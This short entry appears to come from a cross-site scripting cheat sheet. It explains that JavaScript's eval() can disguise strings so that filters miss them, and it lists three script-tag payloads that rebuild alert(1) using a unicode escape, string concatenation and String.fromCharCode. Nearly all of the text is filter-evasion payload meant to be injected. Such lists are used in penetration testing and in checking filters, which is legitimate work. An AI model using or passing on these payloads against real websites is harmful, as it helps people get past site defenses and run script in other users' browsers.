Eval()

ColumnWe can also make use of the eval() function in JS to obfuscate some strings so they won't be filtered
Tags<script>eval('a\u006cert(1)')</script> <script>eval('al' + 'ert(1)')</script> <script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>